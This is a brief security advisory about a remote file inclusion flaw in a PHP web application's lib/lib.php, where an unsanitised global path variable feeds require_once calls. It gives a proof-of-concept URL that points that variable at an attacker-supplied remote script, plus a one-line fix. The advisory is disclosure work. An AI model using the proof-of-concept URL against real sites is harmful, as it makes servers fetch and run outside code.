1) Description:

Error occured in lib.php,

require_once($GLOBALS['where_framework'].'/lib/lib.lang.php');
require_once($GLOBALS['where_framework'].'/lib/lib.template.php');
require_once($GLOBALS['where_framework'].'/lib/lib.mimetype.php');
require_once($GLOBALS['where_framework'].'/lib/lib.utils.php');

The users can include a remote file because
the $GLOBALS['where_framework'] isn't sanitized

2) Proof of concept:

http://example/[dc_path]/lib/lib.php?GLOBALS[where_framework]=[cmd_url]

3) Solution:

include file where are declare $GLOBALS[*]
